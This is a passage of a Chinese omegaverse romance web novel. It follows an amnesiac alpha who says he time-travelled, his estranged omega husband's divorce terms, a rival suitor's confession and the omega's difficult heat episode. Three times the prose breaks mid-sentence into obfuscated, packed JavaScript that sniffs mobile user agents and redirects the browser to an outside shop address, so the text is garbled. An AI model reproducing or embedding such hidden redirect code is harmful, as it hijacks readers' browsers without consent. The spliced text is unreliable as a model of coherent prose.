“我以前是不是告诉过你,”宿子秋的笑容也消失了,“我从来没把你当成随便的人。” 他的手缓缓抬起,在即将触碰到苏明清的下巴时僵住。 “你就不能尊重我一下?和人说话都不看着人的眼睛吗?” 苏明清扭头,正视他。 宿子秋退回安全距离,“好吧,我就是听说蔺言失忆了,特地过来看看热闹。” 苏明清头疼,“他到底要把这件事告诉多少人。” 宿子秋道:“我热闹已经看完了,也没什么好看的,走了。” 把宿子秋送到门口时,苏明清才后知后觉——既然是蔺言把人带回来的,那蔺言呢? 总不能是宿子秋一个人进了他们家。 转过身去时,苏明清就对上了蔺言的视线。 蔺言手上还拿着东西,苏明清没看清是什么。 他对上苏明清的视线后,往身后一藏,接着才反应过来,佯装镇定。 苏明清叹了口气。 失忆就算了,感觉智商也在倒退。 不知道为什么。 明明苏明清什么都没说。 蔺言却感觉自己被侮辱了。 * 那天宿子秋走后,谁都没再提这件事。 彷佛他从来没来过。 苏明清没拿这件事找蔺言吵架,蔺言也不敢招惹他,其实他身边人说得对,随着醒来的时间越长,他对苏明清就越有恐惧感,像是这具身体残留的感情。 也不知道苏明清到底对他做过什么,才能让他这么“害怕”他。 表面上看,蔺言似乎对搬出去住这件事死心了。 自从他出事从医院回来后,每天都在变着花样作死,而宿子秋来过后,起码他没再折腾。 苏明清又开始了他忙碌的行程。 最近只要蔺言空闲,就会打开全息电视看新闻,苏明清经常出现在新闻中。 他身上冠着“蔺言夫人”的名头,不管出现在哪里,都能引起很大的关注,足以可见蔺言在这个世界上的影响力。 看着苏明清,彷佛能看见背后蔺言的影子。 蔺言也拿出过以前的新闻看自己。 电视里,他的形象是十分阳光正向的,十分符合联邦政府所需要的形象人,再加上他相貌堂堂,很受人喜爱。 但看着电视里的那个形象,蔺言时常觉得陌生和不喜。 上大学时,他的形象也是开朗的,这并非对外的伪装,他真实的想要帮到很多人,希望自己能站在一个相对较高的位置上传输自己的力量。 可是他从来没想过,成为一个政治家,成为一个高高在上、偶尔用做慈善来巩固自己地位的政商。 蔺言抗拒的心理越发严重。 二十年后的他,似乎对现实妥协的彻底,不管是现在选择的工作也好,还是和苏明清结婚也好。 * 苏明清把手头的工作都处理干净后,发现他已经推了学校那边很多课。 多日的连轴转,已经让他的身体超负荷,亟需休息。 alpha和omega的身体到底是有区别,alpha可以应付很多工作之后,还能和没事人一样,而omega光是接手他们一半的工作量,就已经疲惫不堪。 助理问苏明清:“苏先生,我们是回哪?” 这些年他们积累的房产很多,很多富商一般都是哪里离工作的地方近就歇在哪里。 以前蔺言不管再远,都会选择回家。 苏明清听着助理的询问,想想回家后要面对的蔺言,头一次产生了不想回家的念头。 不过他还是把这种念头摁了下去,“回家。” 只要是说回家,能回的地方也就只有他们长待的春林湾。 车上,苏明清问:“我让你准备的文件你准备好了吗?” 助理一僵,但还是点了点头。 * 家里依旧是冷冷清清。 苏明清在茶室里找到了蔺言,他缓缓坐在他旁边——这是这段时间以来,他们头一次靠这么近。 蔺言问:“大忙人忙完了?” 他说这话也不是嘲讽,语气有点开玩笑似的。 不过足以点燃苏明清的怒火。 苏明清把协议书甩在了桌子上。 蔺言一愣:“这是什么?” “这段时间的协议。”苏明清道,“你可以先过目,如果有不满意的,助理还没走,发过去让他修改打印。” 蔺言定睛一瞧。 好家伙。 和他想象中的离婚协议书不一样。 说是离婚协议,不如说就是一份协议,以离婚作为条件,补充了蔺言需要做的事情。 “我现在在做的,基本上都是你的工作,”苏明清道,“外界议论纷纷,我不能再继续露面了,你身体无恙,需要出去稳定人心,如果你想离婚的话,就照我说的做。” 蔺言越看,眉头皱得越深。 “这是离婚的条件?” “是。” 苏明清的条件很简单,也很好理解。 他们离婚的事情不能声张,蔺言之前四处找朋友求助的行为也要杜绝。 苏明清顶了很多需要他出面的工作,但未来还会有这种工作,苏明清不能继续顶替,需要他自己上。 在外界他还需要保持良好的形象,不能把二十年后的他的工作成果毁了。 “我说过,这不是我想要的工作,”蔺言道,“难道我要一直做这份工作吗?为了离个婚,一直做到死?” 苏明清道:“你可以工作到我们离婚之后,等我们离了婚,随便你做不做。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129074|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蔺言一顿:“其实你是想拖着等我恢复记忆吧?” 苏明清冷然道:“既然你说你是穿越过来的,如果你真的恢复了记忆,那到时候你应该也穿越了回去过你自己的生活,而我却和我老公离婚,生活被搅得一团糟,对我来说,最好的办法当然是拖着,尽量不离婚。” 这还是第一次,苏明清跟蔺言说自己内心的想法。 这几天蔺言沉淀了不少,没才开始那么急躁。 似乎被打击过,也知道万事不能按照他的想法来。 所以出乎苏明清意料,他说:“我理解。” 这几天他彷佛终于找回了智商。 “其实事情也没那么难办,”蔺言道,“你的诉求是想等,看我到底是失忆还是穿越,而我知道我是穿越,谁也没办法证实谁的话,这些都需要时间来验证。” 蔺言道:“不如在合同上规定好时间,在这些时间之前,我按照你说的做,等到了时间之后,你和我去离婚。” 他想明白了。 总要给生活一点时间,他和这个世界还没融合好,就急切地想摆脱现在的轨道,没那么容易。 “好,”苏明清总算松了一口气,“正好财产清算和信息素标记清楚手术需要提前很长时间预约,先暂定三个月吧。” 两人总算握手言和。 * 签了协议后,蔺言才发现,其实他住的房子还挺好看。 没有很多电视剧里演的那么奢靡,只是仆人和面积过多显得有点夸张,但当他的心安定下来,看什么都格外顺眼。 除了工作有点多。 那天车上见过的助理拿了一堆的文件给他,其实助理也经常来,只不过碍于蔺言失忆,没在他面前出现。 “这些……” 助理微笑着:“都是您的。” 蔺言:“……” * 工作全扔给蔺言后,苏明清轻松了不止一点半点。 也终于能备备课。 就在他伏案工作时,又一次收到了宿子秋的消息。 [出不出来玩?] 苏明清假装没看见。 宿子秋不依不饶,又发了好几条消息。 苏明清干脆静音。 在他静音后不久,同样在工作的蔺言,手机也震了震。 他打开一看:…… 助理看着他的表情似乎不太妙,以前的工作经验促使他闭上了嘴,不去触霉头。 蔺言手指如飞,飞快打字:[你找我干什么?] 宿子秋回复很快:[你上次不是说叙旧吗?再出来叙叙?] 蔺言凭空生出一股想骂他的冲动。 他忍了下去,佯装无事道:[上次你平白无故就把我扔下走了,骗我说帮忙最后也没帮,不太想和你来往了。] 宿子秋那边停顿了几秒:[只是临时有事被叫走,没和你说而已,生这么大气?我记得你以前脾气挺好的啊。] 蔺言有一种面皮被人撕开一条缝隙的感觉。 实际上,从那天听见宿子秋和苏明清说话时,他就已经开始不太对劲了。 心里不舒服,有口气憋着,没地方发。 宿子秋道:[算了,你要是不出来,我约苏明清吧。] 蔺言道:[等等。] [我出去。] 10.第 10 章 “我们当年,到底是怎么闹掰的?” 见面第一句话,蔺言脱口而出的就是质问。 宿子秋知道他性格没那么沉稳,心智过于年轻就是沉不住气。 他也没想瞒着,懒洋洋道:“就是你那天听到的那样啰。” 这段时间不知道他又去哪里混了。 浑身上下都散发着一股甜腻腻的omega的气息,吊儿郎当的。 这和蔺言记忆中的宿子秋,又割裂了不少。 在他记忆中的宿子秋,对着omega说话都会脸红,根本不敢和omega对视,更别提去夜店或者玩乐场所鬼混。 蔺言眉头皱得越发深。 宿子秋道:“当年我们一起看上了苏明清,你喜欢他,我也喜欢他,好哥们喜欢上同一个人,后果当然是水火不容,分道扬镳。” 蔺言更不能理解了,“我怎么可能这么重色轻友?” 就为了一个omega? “你不重色轻友?”宿子秋笑了起来,简直乐不可支,“好吧,准确来说,我们两个都挺重色轻友的,谁都不肯让着谁,所以我们做不成朋友了啊。” “说实话,”宿子秋道,“那天你说找我叙旧,我以为你鬼上身了,真的太好笑了。” 蔺言的重点却不在这上面,他问:“所以这么多年,你一直没对苏明清死心?” 宿子秋的笑声渐止,一时间有些沉默。 蔺言心想,不至于吧,惦记人惦记二十多年,这么痴情? 苏明清……有这么好吗? 宿子秋道:“看在我们之前当过朋友的份上,我不想背后使绊子。” 其实早就使了,只不过苏明清并不配合。 “我确实喜欢你老婆,”宿子秋道,“喜欢很多年了。” 蔺言瞳孔地震,都不知道回什么好。 宿子秋道:“所以只要有机会,我肯定会抓住机会上位,如果你真的不喜欢他,不如可怜可怜我,把他让给我?” 宿子秋看他明显三观被重创的样子,又笑出声。 这个年纪的蔺言他了解,这大概是蔺言最单纯的年纪。 在喜欢上苏明清之前,蔺言都“直男”得像个单细胞生物,觉得世界上大部分人都遵守法律秩序,人人心底都有善良的一面,世界是依照着他“善良”的观念运行。 蔺言在震惊过后,终于找回了自己的声音:“宿子秋……你怎么变成这样了?” 时间在好友身上留下来的痕迹,清晰无比地摆在他面前。 原来除了和苏明清离婚这件事,剩下时间造成的痕迹,他没有办法弥补和修改。 “我确实感觉不到我对苏明清的喜欢,”蔺言道,“但是,他不是我随手就能送给别人的物品,要是你喜欢他,随便你去追求,如果他同意,我别无二话。” 在蔺言走后不久,宿子秋拿出通话中的电话。 “怎么样,对他的刺激够不够?” 对苏明清的刺激应该也够大。 宿子秋调侃,“以前他就像是一头猎犬,你方圆十里内出现的每一个alpha,他都要仔细检阅,可今天我在他面前说这么多,他竟然让我随便去追求你。” 他总结:“确实是真的失忆了,而且,对你没有感情了。” 苏明清只是沉默。 宿子秋道:“这次我也算是征求到正主同意了?他亲口说我有追求你的资格,你……” 苏明清挂断了电话。 * 回去之后,蔺言越想越气。 他怎么也想不到,他和他最好的朋友闹掰的原因,竟然这么狗血。 更想不明白的是,为什么他心里这么不舒服。 就好像被人偷了什么珍贵的东西,有种茫然若失的愤怒。 可他明明不喜欢苏明清。 他干脆化悲愤为动力,把助理带来的一大堆工作都处理了。 伏案工作时,蔺言余光瞥见一个人影。 这个人影他已经很熟悉,一眼就认出来是苏明清。 他有些好奇,苏明清要干什么? 好奇心一涌上来,蔺言立刻就压制了下来。 就算苏明清要干什么,也不关他的事。 可能是这段婚姻关系让他在苏明清身上投入了太多的注意力——也有可能是信息素标记,反正他发现,他对苏明清已经超出了他以前关注他的次数。 就算是以前作为竞争对手,也没天天看着苏明清。 全息电脑上的文字慢慢变得凌乱无章。 看一眼。 就看一眼。 蔺言偷偷站在了窗台边。 或许是信息素标记的奇妙,也可能是最近确实了解苏明清多了一点,他竟然在苏明清的那张扑克脸上,看出来了苏明清不太高兴。 苏明清手上拎着一个水壶,走向了花园架子上的一排花。 从第一天蔺言就注意到了,他们这个明显被设计过的花园中,有一排五颜六色,一点颜色搭配都没有的乱七八糟的花。 原来是苏明清种的。 怪不得没人清理。 苏明清拿着水壶,板着脸,似乎在数花朵的数量。 数好之后,他手中的水壶举了起来。 alpha的视力超群,很轻易就看清了他手中水壶的造型。 原来看着是一个胖水壶,实际上壶嘴只有一点点,水管像是一枚加粗的针。 苏明清对着花心浇了起来。 一朵,两朵,每一朵。 ——蔺言莫名其妙笑了一下,竟然觉得有点可爱。 这项活动似乎很解压,蔺言看着苏明清浇了没多久,紧皱着的眉头就松懈了。 随后,苏明清转过身。 蔺言吓了一跳,以为自己被发现了,立刻下蹲。 他露出半双眼睛,瞥了瞥——苏明清已经又转过身去。 “哪里来的猫?” 苏明清自言自语。 蔺言松了一口气,直起身体,依旧偷感很重,稍微拉了拉窗帘做遮挡。 没敢动静太大,怕被发现。 苏明清虽然是个omega,但是他的敏锐力丝毫不亚于alpha,属于先天条件不好,后天也要硬凑的类型。 也不知道是不是这么多年没锻炼退化了,蔺言弄出来的动静他都没听见。 苏明清蹲下身,“嗯?是只三花。” 蔺言很诧异他还认识猫咪的种类。 他以为苏明清不会对这种毛茸茸的小动物感兴趣。 苏明清伸手摸了摸小猫的头,小猫在他的身边喵喵叫,并不惧怕苏明清身上散发出来的冷淡气场。 “蔺育澜!”苏明清往屋里叫了一声。 蔺育澜似乎就在客厅里玩,回应得很快,“哎!怎么了父亲?” “让你爸……”苏明清的话紧急刹车,停顿了片刻,“你去负二楼地下室,拿个猫罐头出来。” 蔺育澜答应得很欢快。 很快,他就哒哒哒跑着出来了,把猫罐头递给苏明清,然后抱住苏明清的脖子,亲热地和他说话。 蔺言只能听见只言片语。 “父亲,要不我们把它养在房间里吧?” “你爸爸猫毛过敏,你忘了?” “对哦,那他怎么办?” “他在咱家院子里可以自由自由……” 蔺言心像是被羽毛轻轻扫了一下,他深吸一口气,缓缓拉上了窗帘。 他好像通过这一幅场景,窥见到这一家三口温馨的日常。 以前应该包含他在内。 他有些无措。 * 又是一天夜晚,苏明清从房间里出来,本想让佣人倒杯水,最后还是决定自己倒,没有大半夜叫人。 他端着一杯水,在厨房里慢慢啜饮。 这段时间的失眠越发严重,有时辗转反侧大半夜都不得安眠。 以前蔺言睡在身边时,从来不会发生这种情况,alpha的信息素有抚慰omega的作用。他记得他孕期时,对信息素的渴求到了一定程度,蔺言可以一整晚都不睡觉,守在他身边,随时释放信息素安抚。 可能也是孕期的后遗症,让他对alpha的信息素产生了依赖。 苏明清喝完水,打算上楼。 转过身,微微一顿。 蔺言站在客厅楼梯口,不知道看了他多长时间,知道他转过身,对他尴尬一笑。 苏明清也很久没仔细看过蔺言了。 人都说相由心生,蔺言觉得他身体里装着一个二十岁的灵魂,整个人的精神和四十岁的人确实不一样了。 如果他现在上街,不和别人说年龄,都会以为他真的是大学生。 但这和苏明清认识的蔺言不一样。 苏明清和缓的面部肌肉渐渐紧绷。 尴尬弥漫在空气中,二十年的夫妻像是不熟,只有偶尔泄露出来、慢慢纠缠在一起的信息素,显示出两人曾经的亲密。 “你也来……”蔺言没话找话,“喝水?” 苏明清没搭理他,直接掠过他,与他擦肩而过。 彷佛再看他两眼,就要生气了。 没走几步,苏明清又退了回来。 “有件事情,”苏明清语气冷淡,公事公办,“过两天有个新闻会需要你参加,怕你才开始不熟练,我会陪同。” 蔺言“哦”一声。 公事说完,似乎也没什么好说的了。 苏明清留给蔺言一个渐行渐远的背影。 蔺言想起第一天穿越时,苏明清还扔给他一条围巾,死死抓着他的手带他冲出人群。 颇有些不是滋味。 * 新闻会当天。 苏明清意外发现,蔺言并没有才开始从医院出来那天生涩了,面对媒体的提问,他应对起来很熟练,甚至可以说游刃有余。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129075|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果不是两人依旧保持的很远的肢体让苏明清有距离感,他还以为蔺言恢复记忆了。 也有媒体注意到了这一点。 “蔺先生,您夫人这段时间的表现很出色,之前就有传言说,您夫人是为了您放弃了抛头露面的工作,请问两人是否因此产生嫌隙呢?” 话题都不知道是怎么扯到这上面来的。 蔺言笑容一僵,幸而这时苏明清反应快,挎住了他的胳膊,对着媒体道:“如你所见,我们感情很好,望诸位少些不必要的猜测,专注今天的活动吧。” 蔺言也及时扣住了苏明清的手背。 苏明清对这样的触碰很习惯,没有任何多余的感觉,倒是蔺言。 他头一次和一个omega……还是苏明清。 这么亲密地手握手。 他突然发现,原来再冷淡的omega,手也是柔软温暖的。 和硬邦邦的alpha不一样,苏明清简直像水一样。 “如你们所见,”蔺言重新挂上笑容,“我们没有任何问题。” …… 活动结束后,苏明清和蔺言在车内休整。 外面沸反盈天,车内安静死寂,司机在外抽烟,就剩两个人独处。苏明清脸色很白,闭着眼睛假寐。 “我……”蔺言开了个口子,有些犹豫,“这份工作,我真的喜欢吗?” 他始终想不明白,为什么他的选择会和他的理想差距那么多。 这世上能理解他这么选的人不多,他通讯录里几乎没朋友,唯一了解他的人只能是苏明清。 可苏明清似乎并不愿意多和他聊相关的话题。 苏明清睁开眼。 他启唇,有点讽刺,“不是说二十年后的你不是你吗?所以喜不喜欢也不重要。” 回旋镖到底是扎回了自己身上。 蔺言躁得慌,又嘴硬,“我就是问问。” “没什么好问的。” “不问了,不稀罕知道。” 苏明清笑了一下。 蔺言很少见到他笑,呆了一呆。 他想,苏明清这个人怎么和别人这么不一样?连笑点也这么奇怪,都不知道刚刚的话中有什么能逗笑他的。 苏明清起身,想打开窗户叫司机进来,身形一晃,扶住了车把手。 “不是吧,你怎么了?”蔺言一惊,“生病了?” 他伸出手扶住苏明清。 苏明清明明想把胳膊抽出去,也许是力气太小,也许是太久没和蔺言接触,抗拒的意思只闪过一下,接着就放弃了。 蔺言扶着他,感觉苏明清要往他怀里栽。 “我没事,”苏明清咽了咽口水,喉结上下滑动,后颈的腺体隐隐发烫,“没事,松开我。” 蔺言不解,“你都这样了,还让我松开你?” 苏明清道:“松开我,我有力气坐稳。” “怎么可能?你需要去医院。” 蔺言并不理解苏明清对他没抵抗力这件事。 苏明清不知道该怎么和他解释,“我身体就是这样,不会有什么事,不用去医院。” 蔺言还是不太明白,“你还讳疾忌医啊?” 苏明清:“……” 蔺言把司机叫进来后,司机一听苏明清的话,立刻也懂了,踩着油门把苏明清往家里送。 彷佛全世界都在瞒着蔺言打哑谜。 车开进别墅的内院,司机打开车门,却不敢随意触碰苏明清。 苏明清又不让蔺言碰。 于是在两个人的注视下,苏明清颤抖着起身,往客厅里挪。 “蔺先生,”司机看不过去,小声提醒,“我就算了,您怎么也不上前帮一把呢?把人抱回去也行啊。” “啊?”蔺言一头雾水,“可是他不让我碰啊。” 司机眼神呆滞了,盯着蔺言的眼神,好像在看一个傻子。 蔺言忍无可忍,还是上前,像一只手忙脚乱,因为帮不上忙就只能瞎忙活的小狗。 他一伸手,苏明清立刻道:“别碰我!” 蔺言:“……” 一路踉踉跄跄,好歹是看着苏明清进了卧室。 卧室门被苏明清大力关上,砰地一声,还有一点他身上的香气。 蔺言站在门口没敢走。 片刻后,越来越浓重的花香从门缝中溢出。 一扇门根本阻挡不了信息素,它们钻进了蔺言的鼻腔,顺势环绕在他的口腔中,留在舌苔上,蔺言的犬牙缓慢发热,需要咬紧舌尖才能遏制住那股茫然的冲动。 在他自己都没意识到时,他又在门口绕了两圈,来回踱步。 他想破门而入。 蔺言狠狠咬了一口舌尖,血腥味暂时盖过了花香,神志也清明不少,立刻远离了那扇门。 ——他明白为什么司机用那种眼神看他了。 他确实是傻子。 苏明清的发情期,来了。 11.第 11 章 omega的发情期一向是个很难解决的难题。 这是他们正常的生理周期,每个月一次,医学也无法违背。 顶多是制造出来抑制剂,用来抑制omega发情的周期,使其延后。 但发情期无法永远延后,也会令身体出现问题,于是相应的,又诞生了不少缓解发情期痛苦的药剂。 与omega发情期对应的,是alpha的易感期。 alpha的易感期通常没有omega的发情期那么频繁,并且不是很规律,通常发生在精神力耗费过多、或者被omega刻意用信息素诱惑时。 和omega的发情期不同,alpha的易感期更像是一场精神失控。 随着空气中信息素浓度的增多,蔺言感觉他皮肤的热度也在增加,头也开始发晕、眼睛直勾勾盯着紧闭的卧室门。 好香,好香。 他从来没闻到过这么香的信息素味道,痒意从身体的血管里涌出来,他在渴望着什么。 下了楼,司机还在原地站着,一脸担忧。 蔺言道:“附近有没有药店?有卖抑制剂或者发情期症状缓解药的那种,你去买点。” 司机愣住,“您……” 不是夫妻吗,标记一下就好了啊,何必再去买这种药。 蔺言的脸色很严肃,司机在他身边工作多年,知道他性格说一不二,没敢多说,转身去了。 就在司机走后不久,空气中信息素的味道逐渐淡了。 蔺言冷静了不少,意识到不对,猛地冲上楼,敲了敲苏明清卧室门。 里面没有反应,信息素的味道越来越淡,直到没有。 蔺言猛地推开了门。 …… 空气中弥漫着大量的信息素香,充斥在蔺言的鼻腔中,那种头脑发胀的感觉又袭来,他的腺体似乎也在发热,有几秒钟他无法让自己的视线从苏明清身上挪开。 苏明清坐在床边的地毯上,半个身体趴在床上,在他的周围,有几个废掉的针管。 他似乎很慌忙,上衣都被扯掉了不少,雪白的后颈没有任何遮挡的暴露在空中。奄奄一息地侧过头喘息。 好香。 蔺言凑近了一些,看得更清楚,他看见一向和他不对付的死对头就这么安安静静地跪坐在地上,不见平日的强势,鼻尖渗出来一点亮晶晶的汗水,嘴唇红透了,微微启开,小声呼吸。 他听见自己心悸了一下。 “你……”苏明清撑了一下,没能成功起身,似乎是毫无办法,缓声叫他,“蔺言……” 他叫得蔺言的名字,但蔺言知道这人并不是自己。 这声音中包含了无力的求助,甚至有一点小心翼翼,他蹙眉,颤抖着深呼吸。 看见蔺言还是没有过来搀扶他的意思,苏明清咬紧牙关,转过头去,“你出去。” 蔺言却已经上前,手足无措道:“我该怎么帮你?” 他从来没有这么清晰地认识到,原来苏明清真的是个omega。 有omega的发情期,有omega的柔弱,甚至……咬牙静静忍着的时候,还有omega的可怜。 苏明清在他说完这句话后,似乎瞬间松懈了,充满信任地倒在了他的身上。 蔺言还是头一次和他这么亲密接触,身体一下子变得僵硬无比。 苏明清声音有点委屈喊他:“老公……” 蔺言说不上来什么感觉,在被苏明清喊时,好像有一阵高压电流狂轰,在剧烈的鸡皮疙瘩反应后,反而留下一点酥麻的痕迹。 苏明清似乎失去神志,一直在他的怀里乱动,嘴里含糊不清地喊他。 “你别!”蔺言惊恐万状,“你别这么快就挺不住啊,你好歹跟我说该怎么办!” 苏明清喘着热气:“针……” “针?” “扎。” “扎?”蔺言拿针的手势活脱脱像拿了把枪,“扎哪啊?你——你别蹭!” 苏明清眼神迷离,引着他的手来到了后颈。 标记,为什么不能标记他。 以前不是很爱标记他吗,为什么一下子就不行了,为什么发情期也要他自己捱。 好讨厌。 蔺言好讨厌。 下一秒,迎接苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196100|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明清的,是后劲的一阵剧痛。 …… “怎么能直接往腺体上扎针呢?”医生观察完苏明清的情况后,皱眉道,“以前没有学过生理课吗?omega的腺体是最脆弱的,万一弄不好就会落下终身残疾,有的还可能危及生命。” 苏明清双眼紧闭,脸色苍白,躺在床上一言不发。 颤动的睫毛暴露了他还醒着。 医生无奈,哪有对自己这么狠的? 他转过身,再看不远处的alpha——从他进门起,就跟避嫌似的,远远站在一旁。 医生当了蔺家多年的心理医生,不多是朋友那也十分熟悉了,宽慰道:“你们两个吵架了?” “夫妻哪有不吵架的,古话说得好,夫妻吵架床头吵床尾合,更何况关乎对方身体?omega发情可不是小事,真出事了有你们后悔的。” “张医生,”苏明清轻轻打断了他的唠叨,“你先出去吧。” 房间里瞬间安静了下来。 苏明清看着蔺言。 蔺言道:“先说好,是你让我往你脖子里扎的,你拿着我的手往脖子里引……” “我知道。”苏明清打断他。 蔺言像个做错事情的孩子。 实际上,他现在的心智,对苏明清而言也确实是个孩子,想法都挂在脸上,一眼就能叫人看透,青涩的很。 又哪里像政商通吃的蔺言? “或许我现在相信,你确实是穿越来的了。”苏明清忽然轻声道。 蔺言不明所以,怎么给他扎个针就相信了呢? “我现在不是很想见人,”苏明清道,“请你也出去吧。” 要是在二十年前,苏明清对着蔺言说“请”,那么除了阴阳怪气,别无它解。 但二十年后的这个苏明清,蔺言摸不透他的脾气,大部分时候他都觉得苏明清比以前有礼貌多了。 想想刚刚苏明清在他怀里意乱情迷,如今这种礼貌,又多出几分疏远。 “哦。”蔺言道。 他拉开了卧室门。 即将出去时,还是回头,正色道:“对不起。” 12.第 12 章 “alpha标记自己的伴侣是本能,都不用后天教,怎么会不标记你呢?” “会不会是他现在真的太笨了?” 苏明清陷入沉默。 叶烁然尴尬了一下,“那也不至于笨成这样哈。” 苏明清道:“所以我觉得,或许现在的蔺言,真的已经不是蔺言了。” 这话或许有自我安慰的成分在。 但如今不这么想,也不知道该如何去解释了。 记忆和爱或许能够遗失,但身体的标记是刻入基因中的,如果蔺言连基因都能违抗的话…… 代表着他真的对苏明清一点感觉也没有。 他真的对苏明清厌恶入骨髓。 叶烁然询问:“你们当年真的就这么不对付啊?要说我就算是不对付,那也都是小孩之间打打闹闹,以我们现在的年纪再去看校园里的那群毛头小子们,大部分时候不也是不能理解吗?” 苏明清的思绪慢慢跟着叶烁然的话飘远。 他和蔺言这么不对付吗? 好像是有的。 那天蔺言说他们价值观不合,何止是价值不合。 每次都恨不能打起来的那种,能算是价值不合吗?说彼此厌恶也差不多。 只不过过去那么多年,苏明清都快淡忘了那时候的感觉,而蔺言还深深的记得罢了。 苏明清的声音变冷:“就算他不是穿越,只是失忆,也说明对我讨厌的记忆很深刻,不然为什么偏偏想起来那时候?” 与其这么说。 还不如是穿越。 叶烁然惊了,他一直知道,苏明清这个人其实有一点悲观主义,只不过被爱浇灌着,这种悲观主义并不明显。 可若是浇灌他的爱没了,这种悲观就如雨后春笋般冒了芽,根本止不住。 又说了两句,两人挂断了光讯通话。 卧室内悄然无声,安静到能听见挂水的点滴一滴滴落下来的声音,冰凉的液体涌入血管,顺着血管安抚他失控的情绪和发情热。 一同凉下来的还有心。 可能是发情期,苏明清的脑子乱糟糟的,想东想西,什么都在他脑子里过了一遍。 有时是以前发情期时,蔺言在他身上极尽温柔,小心翼翼不敢碰他时的模样,有时是蔺言紧紧抱着他,在他脸上、腺体上印下贪婪的吻。 最后定格在蔺言如今对着他厌恶防备的表情。 爱人的突然翻脸,像是背后猛然扎过来的冷刀,就算知道他不是故意的,也难免不在一瞬间产生埋怨。 …… 夜深,蔺家都已经进入了安静模式,蔺言悄悄出了自己房间。 他走到苏明清的门口,刚一站定,就转身想走,接着又纠结地回来,最后还是停住,面露纠结。 他敲了敲门。 “苏明清?” 没有动静。 蔺言的心提了起来——该不会又出什么事吧? 他下意识拧开了卧室房门,他没有发现,自己的动作可以算得上急切,像是对某个人下意识的关心。 打开门,脚步匆匆往里走,床上正安安静静躺着某个人。 对方已经进入深度睡眠,要不是床单微微鼓起一团小包,不知情人扫一眼过去都容易忽略掉床上有人。 蔺言松了口气,看了一眼苏明清的针剂,又觉得好笑。 怎么会那么困,连自己挂水快没了都不知道?还睡这么沉。 而且蔺家这么大,为什么都没人过来帮主人看着挂水的针剂?万一要是回血了怎么办? 他不知道的是,这些在以前,都是他的工作。 他从来不愿意假手于人,让别人看着苏明清永远也不放心,索性有关苏明清的大事小事他都亲力亲为。 蔺言想上去给他关了,动作却很生涩。 搞了半天,眼见快滴完了,他额头上都出了汗,这时,苏明清终于被吵醒了。 “你在干什么?”苏明清的声音还很虚弱。 蔺言愣住,“啊?我在……你这个快完了……” 苏明清道:“有智能断供模式。” “什么?” 苏明清微微起身,有些无奈,指尖指着点滴滑轮的地方,“现在都什么时代了,各行各业都有智能模式,这个点滴没了会自动断的,不用管。” 蔺言尴尬,在他的记忆中他从来没输过水,身体好得很。 果不其然,在点滴滴完最后一滴水后,“滴”一声,在输液杆上伸出一只机械手臂。 苏明清道:“帮我摁一下。” 他使唤蔺言成习惯,蔺言被他使唤也有条件反射,两人都没觉得有什么不对,蔺言从善如流,马上帮他摁住了输液口。 机械手臂拔出了针头,并且将针头剪下,不知吞去了哪里,已被使用过的输液线折叠扔进了和输液架连接在一起的垃圾桶内。 几乎用不着人力操控。 蔺言忍不住发出一声老古董的感叹。 “我怎么记得我妈以前去打针,还没这种东西呢?”蔺言好奇地研究了起来,“这什么时候上市的?现在医院里都用这个吗?” 苏明清道:“按照你的记忆,在你的年代,确实没有这个。” 可能因为生病,人格外脆弱和感性一些,苏明清耐心道:“滑轮的地方有个很小的重力感应设备,敏感到可以感知一纳克之内的物品重量,药品低于一克时就会自动关闭药品输入。” 蔺言随着他的话,拿起那个小滑轮。 “这个滑轮的缺点是体积过小,无法安装喇叭提醒,所以药物如果没了,很多人都不知情,机械手臂突然伸出来时,会被吓一跳。” 蔺言道:“但这个技术已经很厉害了。” “为了弥补这个缺陷,机械手臂牺牲了一点便携度,安装了一个小喇叭,刚刚的‘滴’声就是它发出来的。” “不过就算是增加了一点重量,这个机械手臂贴在输液架上时,也能让一个成年人轻轻松松单手拎起来,这个输液架,是我们星系目前运用最广、普及度最高的一款智能机械。” 讲这些时,苏明清身上的虚弱都仿佛消失了,带着从容不迫的理智。 蔺言很意外他知道的这么清楚。 苏明清道:“这是你研发的。” 蔺言一愣。 “当初你为了这款产品,把自己关房间里好几个月,下属送过来的图纸全部都被否了,于是你最后决定自己操刀,亲自设计。” 蔺言刚刚只是匆匆一瞥,听完苏明清的话,认认真真看了起来。 ——这竟然是他设计出来的吗? 苏明清不知道什么时候,已经半坐了起来。 他身上没有任何的外套,只有一件单薄的睡衣,他似乎不太会照顾自己,连这种时候都不知道保暖,像是感觉不到冷。 蔺言在看见他露出来的手臂和锁骨时,第一时间想到的并不是暧昧的念头,而是皱眉。 他自己都没意识到。 紧接着,他发现他的目光过于冒犯,耳尖发红,慌忙移开视线。 